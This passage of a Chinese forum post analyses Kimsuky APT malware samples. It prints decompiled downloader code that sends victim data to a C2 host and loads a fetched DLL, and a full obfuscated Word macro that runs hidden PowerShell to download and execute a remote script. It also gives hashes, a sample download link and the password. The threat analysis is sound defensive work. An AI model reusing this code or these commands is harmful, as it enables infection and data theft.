  LPVOID lpOptional; // [esp+10h] [ebp-520h]
  DWORD dwOptionalLength; // [esp+14h] [ebp-51Ch]
  CHAR szHeaders[1000]; // [esp+18h] [ebp-518h] BYREF
  char v12[24]; // [esp+400h] [ebp-130h] BYREF
  char v13[76]; // [esp+418h] [ebp-118h] BYREF
  CHAR szAgent[84]; // [esp+464h] [ebp-CCh] BYREF
  __int128 v15; // [esp+4B8h] [ebp-78h]
  char v16[84]; // [esp+4C8h] [ebp-68h] BYREF
  __int128 v17; // [esp+51Ch] [ebp-14h]

  v2 = 0;
  dwOptionalLength = a2;
  lpOptional = a1;
  memset(szHeaders, 0, sizeof(szHeaders));
  strcpy(v16, "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywhpFxMBe19cSjFnG");
  v17 = 0i64;
  strcpy(v12, "Accept-Language: en-us");
  memset(v13, 0, sizeof(v13));
  strcpy(szAgent, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; .NET CLR 1.1.4322)");
  lpszAcceptTypes[0] = "*/*";
  lpszAcceptTypes[1] = 0;
  v15 = 0i64;
  wsprintfA(
    szHeaders,
    "Host: %s\r\nReferer: http://%s%s\r\n%s\r\n%s",
    "pingguo2.atwebpages.com",
    "pingguo2.atwebpages.com",
    "home/jpg/post.php",
    v16,
    v12);
  v3 = InternetOpenA(szAgent, 0, 0, 0, 0);
  hInternet = v3;
  if ( v3 )
  {
    v4 = InternetConnectA(v3, "pingguo2.atwebpages.com", 0, 0, 0, 3u, 0, 0);
    if ( v4 )
    {
      v5 = HttpOpenRequestA(v4, "POST", "home/jpg/post.php", "HTTP/1.0", 0, lpszAcceptTypes, 0x84400000, 0);
      if ( v5 )
      {
        if ( !HttpSendRequestA(v5, szHeaders, strlen(szHeaders), lpOptional, dwOptionalLength) )
        {
          GetLastError();
          v2 = 1;
        }
        InternetCloseHandle(v5);
        InternetCloseHandle(v4);
        InternetCloseHandle(hInternet);
        result = v2;
      }
      else
      {
        GetLastError();
        InternetCloseHandle(v4);
        InternetCloseHandle(hInternet);
        result = 0;
      }
    }
    else
    {
      GetLastError();
      InternetCloseHandle(hInternet);
      result = 0;
    }
  }
  else
  {
    GetLastError();
    result = 0;
  }
  return result;
}
sub_4045C0()

这部分函数发送HTTP请求,代码如下

HANDLE sub_4045C0()
{
  void *v0; // eax
  void *v1; // edi
  void *v2; // esi
  void *v3; // eax
  void *v4; // ebx
  int v5; // ecx
  _BYTE *v6; // esi
  DWORD v8; // ecx
  DWORD v9; // eax
  HANDLE v10; // edx
  DWORD v11; // eax
  DWORD i; // ecx
  HMODULE v13; // esi
  void *v14; // edi
  void *v15; // esi
  HANDLE v16; // ebx
  void *v17; // esi
  HANDLE v18; // ebx
  HANDLE v19; // ebx
  HANDLE v20; // ebx
  LPCSTR lpszAcceptTypes[2]; // [esp+Ch] [ebp-23Ch] BYREF
  HINTERNET v22; // [esp+14h] [ebp-234h]
  void *Block; // [esp+18h] [ebp-230h]
  HINTERNET hInternet; // [esp+1Ch] [ebp-22Ch]
  DWORD dwNumberOfBytesRead; // [esp+20h] [ebp-228h] BYREF
  HANDLE hFile; // [esp+24h] [ebp-224h]
  DWORD dwBufferLength; // [esp+28h] [ebp-220h] BYREF
  DWORD nNumberOfBytesToWrite; // [esp+2Ch] [ebp-21Ch] BYREF
  CHAR szObjectName[520]; // [esp+30h] [ebp-218h] BYREF
  int Buffer[3]; // [esp+238h] [ebp-10h] BYREF

  memset(szObjectName, 0, sizeof(szObjectName));
  wsprintfA(szObjectName, "%s?filename=%s", "home/jpg/download.php", "button01");
  lpszAcceptTypes[0] = "*/*";
  hFile = 0;
  dwBufferLength = 0;
  dwNumberOfBytesRead = 0;
  nNumberOfBytesToWrite = 0;
  lpszAcceptTypes[1] = 0;
  v0 = InternetOpenA("Mozilla/5.0", 0, 0, 0, 0);
  v1 = v0;
  v22 = v0;
  if ( !v0 )
  {
    GetLastError();
    return 0;
  }
  v2 = InternetConnectA(v0, "pingguo2.atwebpages.com", 0, 0, 0, 3u, 0, 0);// 访问pingguo2.atwebpages.com/home/jpg/download.php?filename=button01
  hInternet = v2;
  if ( !v2 )
  {
    GetLastError();
    InternetCloseHandle(v1);
    return 0;
  }
  v3 = HttpOpenRequestA(v2, "GET", szObjectName, "HTTP/1.0", 0, lpszAcceptTypes, 0x84000000, 0);
  v4 = v3;
  if ( !v3 )
  {
    GetLastError();
    InternetCloseHandle(v2);
    v20 = hFile;
    InternetCloseHandle(v1);
    return v20;
  }
  if ( !HttpSendRequestA(v3, "Content-Type: application/x-www-form-urlencoded\r\n", 0x31u, 0, 0) )
  {
    GetLastError();
    goto LABEL_24;
  }
  dwBufferLength = 10;
  if ( !HttpQueryInfoA(v4, 5u, Buffer, &dwBufferLength, 0) )
  {
LABEL_24:
    InternetCloseHandle(v4);
    InternetCloseHandle(v2);
    v19 = hFile;
    InternetCloseHandle(v1);
    return v19;
  }
  dwBufferLength = sub_4090C4(v5, Buffer);
  v6 = malloc(dwBufferLength + 1);
  Block = v6;
  if ( InternetReadFile(v4, v6, dwBufferLength, &dwNumberOfBytesRead) )
  {
    if ( !dwNumberOfBytesRead || *v6 != 0xB2 || v6[1] != 0xA5 )
    {
      InternetCloseHandle(v4);
      InternetCloseHandle(hInternet);
      InternetCloseHandle(v1);
      return 0;                                 // 无法访问则关闭访问
    }
    v8 = dwNumberOfBytesRead + nNumberOfBytesToWrite;
    nNumberOfBytesToWrite += dwNumberOfBytesRead;
  }
  else
  {
    v8 = nNumberOfBytesToWrite;
  }
  if ( InternetReadFile(v4, &v6[v8], dwBufferLength - v8, &dwNumberOfBytesRead) )
  {
    do
    {
      if ( !dwNumberOfBytesRead )
        break;
      v9 = dwBufferLength - (dwNumberOfBytesRead + nNumberOfBytesToWrite);
      nNumberOfBytesToWrite += dwNumberOfBytesRead;
    }
    while ( InternetReadFile(v4, &v6[nNumberOfBytesToWrite], v9, &dwNumberOfBytesRead) );
  }
  if ( dwBufferLength != nNumberOfBytesToWrite )
    goto LABEL_22;
  DeleteFileA_0(byte_41DBB8);
  hFile = CreateFileA_0(byte_41DBB8, 0x40000000u, 0, 0, 2u, 0, 0);
  GetLastError();
  v10 = hFile;
  if ( hFile == -1 )
  {
    GetLastError();
    hFile = 0;
LABEL_22:
    j___free_base(v6);
    v17 = hInternet;
    InternetCloseHandle(v4);
    InternetCloseHandle(v17);
    v18 = hFile;
    InternetCloseHandle(v1);
    return v18;
  }
  v11 = nNumberOfBytesToWrite;
  for ( i = 0; i < nNumberOfBytesToWrite; v11 = nNumberOfBytesToWrite )
  {
    v6[i] = ~v6[i];
    ++i;
  }
  WriteFile_0(v10, v6, v11, &nNumberOfBytesToWrite, 0);
  CloseHandle_0(hFile);
  Sleep(0x64u);
  v13 = LoadLibraryA(byte_41DBB8);
  GetLastError();
  Sleep(0x2BF20u);
  FreeLibrary(v13);
  DeleteFileA_0(byte_41DBB8);
  v14 = v22;
  hFile = HANDLE_FLAG_INHERIT;
  j___free_base(Block);
  v15 = hInternet;
  InternetCloseHandle(v4);
  InternetCloseHandle(v15);
  v16 = hFile;
  InternetCloseHandle(v14);
  return v16;
}

样本访问C2:pingguo2.atwebpages.com 向其发送GET请求/home/jpg/download.php?filename=button01,下载文件

image-20221017202950569.png

动态调试没法成功建立连接,仔细一看发现网站已经关了。

image-20221017203551359.png

综上这也就是一个下载器,使用了一个伪装的word程序迷惑受害者,虽然有窃取行为但主要是起到了建立远程连接下载程序的作用。推测下载下来的文件作用主要功能是对受害者系统具体的行为损害(例如注册表更改、文件篡改等)。

行为分析:

1.对已创建的资源表进行解密,将其解密成一个用以伪装的word文件。

2.打开word文件,文件的内容是关于韩国某高校的内容,同时创建一个子进程执行下面的操作。

3.在本地创建word文件,调用系统函数将受害者主机的信息写入创建的word程序中。

4.对pingguo2.atwebpages.com创建HTTP连接使用POST发送请求,将收集到的受害者信息发送到目标服务器。

4.对pingguo2.atwebpages.com创建HTTP连接使用GET发送请求,下载目标地址的文件/home/jpg/download.php。推测该文件作用是对计算机进行具体的破坏。

IOCs

image-20221018165815817.png

样本3

这个样本与样本1相同,都使用了宏进行操作,同样使用powershell对文件执行命令行操作。不同点在于此样本直接使用命令行进行远程文件下载。另外由于访问远程地址关闭,所以样本只分析了几步开始的

样本基本信息

image-20221018184758606.png

提取样本基本信息:

type hash
SHA256: 9a54b0adff7424a02edfe7c365b6a699c006163a23f7abe901ea3395d2ec913b
MD5: 7110e97164061aeb734f65a30aac8a7d
SHA1: b6fbaaa6c4f8ca465768ac0cf66dd2bc2407324c

样本分析

拿到样本发现也是一个word文档,打开文档发现是一个朝鲜语的表格

image-20221018192222938.png

使用与样本1同样的方法提取宏代码,如下:

olevba 0.60.1 on Python 3.8.5 - http://decalage.info/python/oletools
===============================================================================
FILE: .\9a54b0adff7424a02edfe7c365b6a699c006163a23f7abe901ea3395d2ec913b.doc
Type: OpenXML
WARNING  For now, VBA stomping cannot be detected for files in memory
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: word/vbaProject.bin - OLE stream: 'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Private Sub Document_Open()
Set djfeihfidkasljf = CreateObject("Shell.Application")//创建shell对象
Dim dfgdfjiejfjdshaj As String
fjdjkasf = "vnslajdsladkf"
fjdjkasf = Left(fjdjkasf, 5)
dfgdfjiejfjdshaj = "pvnslavnslaowvnslavnslavnslaersvnslahelvnslavnslal.evnslaxvnslae"
dfgdfjiejfjdshaj = Replace(dfgdfjiejfjdshaj, fjdjkasf, "")
hdfksallasjkdlaf = "[vnslastvnslarivnslanvnslag]$vnslaf={(Nvnslawrvnslaaevnslaw-Ovnslabjvnslawrvnslaavnslavnslaecvnslatvnsla "
hdfksallasjkdlaf = Replace(hdfksallasjkdlaf, fjdjkasf, "")
ndkflajdkfjskdjfl = "Nvnslaewvnslaravnslavnslat.WvnslaebvnslawrvnslaaCvnslalvnslaiwvnslavnslaravnslaewvnslaravnslanvnslat).Dovnslawevnslailvnslasvnslavnsladjvnslafenvnslag"
ndkflajdkfjskdjfl = Replace(ndkflajdkfjskdjfl, fjdjkasf, "")
salfnxkfdlsjafkj = "('hvnslatvnslatvnslapvnsla:vnsla/vnsla/vnslauvnslaevnslakvnslaavnslafvnsla.vnslamvnslayvnslaavnslarvnslatvnslasvnslaovnslanvnslalvnslaivnslanvnslaevnsla.vnslacvnslaovnslamvnsla/vnslahvnslaavnsla/vnslannvnsla.vnslatvnslaxvnslat')"
salfnxkfdlsjafkj = Replace(salfnxkfdlsjafkj, fjdjkasf, "")
sjdfkjaslalsfial = "};$jvnsla=$vnslafvnsla.Revnslapvnslalavnslavnslacvnslae('vnslawra','');$vnslau=$vnslajvnsla.Rvnslaepvnslalavnslacvnslae('evnslailvnslasdvnslavnslajvnslafvnslae',"
sjdfkjaslalsfial = Replace(sjdfkjaslalsfial, fjdjkasf, "")
aksfkjaskjfksnkf = "'nvnslalovnslaadvnslavnslasvnslatrvnslaivnslavnsla');$xvnsla=ievnslavnslax $vnslauvnsla;ievnslaxvnsla $vnslaxvnsla"
aksfkjaskjfksnkf = Replace(aksfkjaskjfksnkf, fjdjkasf, "")
yeuskaksef = hdfksallasjkdlaf + ndkflajdkfjskdjfl + salfnxkfdlsjafkj + sjdfkjaslalsfial + aksfkjaskjfksnkf

djfeihfidkasljf.ShellExecute dfgdfjiejfjdshaj, yeuskaksef, "", "open", 0
End Sub
-------------------------------------------------------------------------------
VBA MACRO NewMacros.bas
in file: word/vbaProject.bin - OLE stream: 'VBA/NewMacros'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sub djfksdalfjkasj()
    Selection.TypeText Text:="a"
End Sub
Sub ejdksaljfkalkf()
    Selection.TypeText Text:="b"
End Sub
Sub eijdklsafkasdk()
    Selection.TypeText Text:="c"
End Sub
Sub uehfsahdkajkas()
    Selection.TypeText Text:="d"
End Sub
Sub eladjkfjaskaskj()
   Selection.TypeText Text:="e"
End Sub
Sub dsjkljfkasdjakf()
    Selection.TypeText Text:="f"
End Sub
Sub jsdkfjaskaskfas()
    Selection.TypeText Text:="i"
End Sub
Sub eijfkdsalkfjaksfj()
    Selection.TypeText Text:="j"
End Sub
Sub ewiasdkfjaskjf()
    Selection.TypeText Text:="k"
End Sub
Sub qijdkasjlfkjask()
    Selection.TypeText Text:="l"
End Sub
Sub qjiejwfksjalksa()
   Selection.TypeText Text:="m"
End Sub
Sub oqdsjakfjksajfa()
    Selection.TypeText Text:="n"
End Sub
Sub qojiewjfksajf()
    Selection.TypeText Text:="o"
End Sub
Sub idifdsakjflakds()
    Selection.TypeText Text:="p"
End Sub
Sub dsiafqdksajf()
    Selection.TypeText Text:="q"
End Sub
Sub qeuejsahfdas()
   Selection.TypeText Text:="r"
End Sub
Sub werjksjlakfja()
  Selection.TypeText Text:="t"
End Sub
Sub yuehjdhaksda()
   Selection.TypeText Text:="u"
End Sub
Sub qieuirajksdjfkaa()
  Selection.TypeText Text:="v"
End Sub
Sub yeujashdfjaakw()
  Selection.TypeText Text:="w"
End Sub
Sub qiwejkasjdfasfe()
  Selection.TypeText Text:="y"
End Sub
Sub tejhjsahkfhka()
  Selection.TypeText Text:="z"
End Sub
Sub vbsnjdfsdafdea()
   Selection.TypeText Text:="h"
End Sub
Sub bvnmsnsdsaef()
   Selection.TypeText Text:="x"
End Sub
Sub bndkslafkejalk()
   Selection.TypeText Text:="g"
End Sub
Sub mxnjdsjkajfkea()
   Selection.TypeText Text:="1"
End Sub
Sub qkdnasnjekusk()
   Selection.TypeText Text:="2"
End Sub
Sub vbjaskheuajks()
   Selection.TypeText Text:="3"
End Sub
Sub mnsjkasjkeaskjei()
   Selection.TypeText Text:="4"
End Sub
Sub xdjfkdjiealjfe()
   Selection.TypeText Text:="5"
End Sub
Sub bnmcnakfdeal()
   Selection.TypeText Text:="6"
End Sub
Sub mzsasfeisakf()
   Selection.TypeText Text:="7"
End Sub
Sub xcvjfeuhaskf()
   Selection.TypeText Text:="8"
End Sub
Sub eyudfjashfkwe()
   Selection.TypeText Text:="9"
End Sub
Sub eyuresahfshfae()
   Selection.TypeText Text:="0"
End Sub
Sub qjiejwfksjalksainuse()
   Selection.TypeText Text:="-"
End Sub
Sub idifdsakjflakdslus()
   Selection.TypeText Text:="="
End Sub
Sub euirieafkjekjf()
   Selection.TypeBackspace
End Sub
Sub qijdkasjlfkjaskBracket()
   Selection.TypeText Text:="["
End Sub
Sub qeuejsahfdasBracket()
   Selection.TypeText Text:="]"
End Sub
Sub qewuidsakfjkdf()
   Selection.TypeText Text:="B"
End Sub
Sub eyruqjkajsfklef()
   Selection.TypeText Text:="D"
End Sub
Sub qeirodjkfklejka()
   Selection.TypeText Text:="E"
End Sub
Sub ieriqdkalefijlak()
   Selection.TypeText Text:="F"
End Sub
Sub bndkslafkejalkG()
   Selection.TypeText Text:="G"
End Sub
Sub vbsnjdfsdafdeaH()
   Selection.TypeText Text:="H"
End Sub
Sub jsdkfjaskaskfasI()
   Selection.TypeText Text:="I"
End Sub
Sub eijfkdsalkfjaksfjJ()
   Selection.TypeText Text:="J"
End Sub
Sub ewiasdkfjaskjfK()
   Selection.TypeText Text:="K"
End Sub
Sub qijdkasjlfkjaskL()
   Selection.TypeText Text:="L"
End Sub
Sub qjiejwfksjalksaM()
   Selection.TypeText Text:="M"
End Sub
Sub oqdsjakfjksajfaN()
   Selection.TypeText Text:="N"
End Sub
Sub idifdsakjflakdsP()
   Selection.TypeText Text:="P"
End Sub
Sub dsiafqdksajfQ()
   Selection.TypeText Text:="Q"
End Sub
Sub qeuejsahfdasR()
   Selection.TypeText Text:="R"
End Sub
Sub vbjdhfjashueka()
   Selection.TypeText Text:="S"
End Sub
Sub werjksjlakfjaT()
   Selection.TypeText Text:="T"
End Sub
Sub yuehjdhaksdaU()
   Selection.TypeText Text:="U"
End Sub
Sub qieuirajksdjfkaaV()
   Selection.TypeText Text:="V"
End Sub
Sub yeujashdfjaakwW()
   Selection.TypeText Text:="W"
End Sub
Sub bvnmsnsdsaefX()
   Selection.TypeText Text:="X"
End Sub
Sub qiwejkasjdfasfeY()
   Selection.TypeText Text:="Y"
End Sub
Sub tejhjsahkfhkaZ()
   Selection.TypeText Text:="Z"
End Sub
Sub qetdhfkdnkfan()
   Selection.TypeText Text:="A"
End Sub
Sub qojiewjfksajfO()
   Selection.TypeText Text:="O"
End Sub
Sub efhjdhajjfkejf()
   Selection.TypeText Text:="\"
End Sub
Sub dsiafqdksajfuato()
   Selection.TypeText Text:=";"
End Sub
Sub werjksjlakfjaaum()
   Selection.TypeText Text:="'"
End Sub
Sub vbdhfuelaejdkfla()
   Selection.TypeText Text:=","
End Sub
Sub bdkskaleidfjkdal()
   Selection.TypeText Text:="."
End Sub
Sub euirieafkjekjflash()
   Selection.TypeText Text:="/"
End Sub
Sub xcvjdhfjdkfskael()
   Selection.TypeText Text:="@"
End Sub
Sub vbdfasfjkeijkdsal()
   Selection.TypeText Text:="#"
End Sub
Sub vbmssnxnjdska()
   Selection.TypeText Text:="$"
End Sub
Sub zxcdjifjdkfaslfdsaf()
   Selection.TypeText Text:="%"
End Sub
Sub eyuehdjshfjhad()
   Selection.TypeText Text:="^"
End Sub
Sub cbvcjkdsfsfeal()
   Selection.TypeText Text:="&"
End Sub
Sub vbkjdfseeuusakl()
   Selection.TypeText Text:="*"
End Sub
Sub eyureuqhjfhak()
   Selection.TypeText Text:="("
End Sub
Sub eujdhszfkjheuka()
   Selection.TypeText Text:=")"
End Sub
Sub euehfhafjhdjkafqka()
    Selection.TypeText Text:="_"
    Application.Run MacroName:="Project.NewMacros.euirieafkjekjf"
    Application.Run MacroName:="Project.NewMacros.qjiejwfksjalksainuse"
    Application.Run MacroName:="Project.NewMacros.euirieafkjekjf"
    Selection.TypeText Text:="_"
End Sub
Sub eijfkdjqjdfklafea()
   Selection.TypeText Text:="+"
End Sub
Sub efuehjsahfklkejklafe()
   Selection.TypeText Text:="{"
End Sub
Sub vbnmndmnsfajhfeaef()
   Selection.TypeText Text:="}"
End Sub
Sub nmndsfjfekafeka()
   Selection.TypeText Text:="|"
End Sub
Sub bvjdfjdhefkafskefa()
   Selection.TypeText Text:=":"
End Sub
Sub bdnfasekdifjljqjfks()
   Selection.TypeText Text:=""""
End Sub
Sub eijfklsfnvkdaflfkejfa()
   Selection.TypeText Text:="<"
End Sub
Sub xcnmnvdfefkakfl()
   Selection.TypeText Text:=">"
End Sub
Sub eoiqwerdjkfajfwe()
   Selection.TypeText Text:="?"
End Sub
Sub eioqieridsakfje()
   Selection.TypeText Text:="s"
End Sub
Sub eioqieridsakfje1()
   Selection.TypeText Text:="!"
End Sub

Sub uyeufhejqkefj()
   Selection.TypeText Text:="C"
End Sub
Sub dfekljsahdfjaea()
   Selection.Delete Unit:=wdCharacter, Count:=1
End Sub
Sub vbsnjdfsdafdeaome()
   Selection.HomeKey Unit:=wdLine
End Sub
Sub yuefiuhewjkhfas()
   Selection.EndKey Unit:=wdLine
End Sub
Sub idifdsakjflakdsageup()
   Selection.MoveUp Unit:=wdScreen, Count:=1
End Sub
Sub yuehjdhaksdap()
   Selection.MoveUp Unit:=wdLine, Count:=1
End Sub
Sub eruwqfjksafqe()
   Selection.MoveDown Unit:=wdLine, Count:=1
End Sub
Sub qijdkasjlfkjaskeft()
   Selection.MoveLeft Unit:=wdCharacter, Count:=1
End Sub
Sub qeuejsahfdasight()
   Selection.MoveRight Unit:=wdCharacter, Count:=1
End Sub
Sub idifdsakjflakdsagedown()
   Selection.MoveDown Unit:=wdScreen, Count:=1
End Sub

+----------+--------------------+---------------------------------------------+
|Type      |Keyword             |Description                                  |
+----------+--------------------+---------------------------------------------+
|AutoExec  |Document_Open       |Runs when the Word or Publisher document is  |
|          |                    |opened                                       |
|Suspicious|open                |May open a file                              |
|Suspicious|Shell               |May run an executable file or a system       |
|          |                    |command                                      |
|Suspicious|Run                 |May run an executable file or a system       |
|          |                    |command                                      |
|Suspicious|ShellExecute        |May run an executable file or a system       |
|          |                    |command                                      |
|Suspicious|CreateObject        |May create an OLE object                     |
|Suspicious|Shell.Application   |May run an application (if combined with     |
|          |                    |CreateObject)                                |
+----------+--------------------+---------------------------------------------+

发现前部分代码创建shell之后出现一些比较奇怪的代码,推测可能进行过加密,网上一搜发现APT攻击尝试使用针对特定个人的Word文档 - ASEC博客 (ahnlab.com)这是Kimsuky组织进行代码混淆的手段,隐藏的代码是进行远程连接的代码,火绒剑动作检测发现样本调用了powershell进行了远程连接操作然后下载网站内的特定文件http://uekaf.myartsonline[.]com/ha/nn.txt,连接命令:

cmdline:'"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [string]$f={(Nwraew-Objwraect Newrat.WebwraCliwraewrant).Doweilsdjfeng('http://uekaf.myartsonline[.]com/ha/nn.txt')};$j=$f.Replace('wra','');$u=$j.Replace('eilsdjfe','nloadstri');$x=iex $u;iex$x'

image-20221018191200571.png

访问这个地址发现403。emmmm。。。。。

样本行为

1.样本伪造成韩国的表格同时代码隐藏在宏里

2.宏代码使用了特定的手段隐藏了C2地址以阻碍分析,并且远程连接C2下载文件http://uekaf.myartsonline[.]com/ha/nn.txt

IOCs

image-20221018192025416.png

总结

本文主要对朝鲜APT组织KimSuky的三个典型的样本进行了分析,发现该组织通常使用社会工程学内容发送钓鱼邮件将样本伪造成受害者组织或地区的官方文档、表格、调查报告,非常具有迷惑性。同时该组织使用宏代码载入word文档中,使用powershell或cmd实现基本的受害者主机的信息收集和远程C2的连接,下载攻击载荷对受害者计算机实行具体的攻击,包括但不限于修改注册表项、上传受害者的计算机基本信息、文件的创建与修改。此外,在攻击者进行编写宏代码的时候使用了代码混淆技术隐藏了C2地址。

关于近期KimSuky组织的攻击手段,发现该组织开始使用多段C2控制技术、(也就是分成不同的阶段多次连接服务器下载攻击载荷)攻击技术研判 | Kimsuky基于受害者身份验证的多阶段C2控制技术分析 (qq.com)使用PebbleDash木马、双扩展名VBS样本等手段对目标进行攻击。

其他

参考链接

原创干货 | 【恶意代码分析技巧】08-文档宏病毒-SecIN (sec-in.com)

恶意代码分析中一些常见的非PE样本分析 (buaq.net)

脚本类恶意程序分析技巧汇总 - 『病毒分析区』 - 吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

如何辨别恶意Office文件? - 嘶吼 RoarTalk – 回归最本质的信息安全,互联网安全新媒体,4hou.com

一次KimSuky攻击事件分析 (qq.com)

一次KimSuky攻击事件分析 - FreeBuf网络安全行业门户

KimSuky各类攻击手法浅析-安全客 - 安全资讯平台 (anquanke.com)

奇安信威胁情报中心 (qianxin.com)

疑似 KimsukyAPT 组织最新攻击活动样本分析 - 腾讯云开发者社区-腾讯云 (tencent.com)

ZOEM'S BLOG | 一个 KimsukyAPT样本分析 (zoemurmure.github.io)

白头山的战士:Kimsuky最新攻击活动样本分析 - FreeBuf网络安全行业门户

朝鲜高级持续性威胁焦点:金苏基·|断续器 (cisa.gov)

东北亚活跃分子APT组织Kimsuky之事件篇 – 绿盟科技技术博客 (nsfocus.net)

针对与朝鲜相关的特定个人的恶意Word文件 - ASEC博客 (ahnlab.com)

攻击技术研判 | Kimsuky基于受害者身份验证的多阶段C2控制技术分析 (qq.com)

样本链接

链接:https://pan.baidu.com/s/1B0bHlgui3SaMOOSRMr8TnQ?pwd=ldsk
提取码:ldsk
样本的解压密码均为threatbook

免费评分

参与人数 9吾爱币 +7 热心值 +8 收起 理由
1MajorTom1 + 1 热心回复!
xiaosir + 1 + 1 谢谢@Thanks!
努力加载中 + 1 + 1 谢谢@Thanks!
初七的果子狸 + 1 + 1 谢谢@Thanks!
vaycore + 1 谢谢@Thanks!
haishe + 1 + 1 我很赞同!
sam喵喵 + 1 + 1 谢谢@Thanks!
it_harry + 1 + 1 我很赞同!
甜萝 + 1 我很赞同!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

爱飞的猫 发表于 2022-10-21 02:29

样本 1

$boundary = "----WebKitFormBoundarywhpFxMBe19cSjFnG"//KimSuky常用的协议

这个是标准的 POST 文件(multipart/form-data)过程。你可以抓包浏览器上传文件时的提交数据,基本上就是后面几个字符随机化。

$comletter = decode $codestring//对数据进行加密

这里是解密

样本 2

下面一段内容样本程序在本地Temp路径下创建一个word文档名称为“4.[酒怕楷备]稠巩捧绊痹沥.docx”。并且将内存内容写入文档里。

实际文件名应该是 4.[아태연구]논문투고규정.docx 。程序使用 ANSI 版本的系统函数,原代码页应该是韩文。

这个文件名翻译过来是 4.[亚太研究]论文投稿规则.docx,符合正文的内容。

线程名称是StartAddress

这个是 IDA 根据微软公开的 API 参数名自动补充的名字,没有什么含义。

也就是命令执行的时候是不会进行弹出控制台程序的。

不是这个参数控制的。是 ShellExecuteEx 第一个参数的 nShow 成员控制,即之前的  pExecInfo.nShow = SW_HIDE; (SW_HIDE = 0)。

然后后面的下载、解密部分漏掉了:

  for ( i = 0; i < nNumberOfBytesToWrite; v11 = nNumberOfBytesToWrite )
  {
    v6[i] = ~v6[i]; // <- 解密
    ++i;
  }
  WriteFile_0(v10, v6, v11, &nNumberOfBytesToWrite, 0); <- 写出文件

v10 是文件句柄,路径在 byte_41DBB8 这个指针里。下载下来后使用 LoadLibrary 加载到内存,没做藏匿。

现在的杀毒软件应该能很容易检测到。能在 2020 年的样本发现这个行为也是很奇怪了…

主程序在 DLL 加载后(DLL 初始化时应该建立了一个新的线程进行破坏)等待 50 小时然后尝试毁灭证据,但我估计会因为文件被占用没法正常销毁这个 DLL 文件 :)

样本 3

发现前部分代码创建shell之后出现一些比较奇怪的代码,推测可能进行过加密…

可以开个虚拟机并断网,把代码的 djfeihfidkasljf.ShellExecute dfgdfjiejfjdshaj, yeuskaksef, "", "open", 0 改成弹信息框或打印后执行宏,就可以不依赖火绒来捕捉执行的指令了。

免费评分

参与人数 3吾爱币 +5 热心值 +2 收起 理由
trackerstill + 1 我很赞同!
fengbolee + 2 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
Ginobili + 2 + 1 谢谢@Thanks!

查看全部评分

甜萝 发表于 2022-10-19 13:31
lies2014 发表于 2022-10-19 17:06
lies2014 发表于 2022-10-19 17:19
样本解压密码自己找到了,解压密码:threatbook
 楼主| Ginobili 发表于 2022-10-19 20:49
lies2014 发表于 2022-10-19 17:19
样本解压密码自己找到了,解压密码:threatbook

不好意思啊,忘记标注了。。。。。
Hmily 发表于 2022-10-20 17:39
@Ginobili 防止图床失效,能否把图片上传论坛本地,方便阅读,这样加载速度也快一些。
volvol 发表于 2022-10-20 21:39
看看怎么样
tukuai88ya 发表于 2022-10-20 22:40
,感谢大佬分享
eddiechen 发表于 2022-10-21 02:59
谢谢分享,大神代码分享真强
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-24 12:03

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表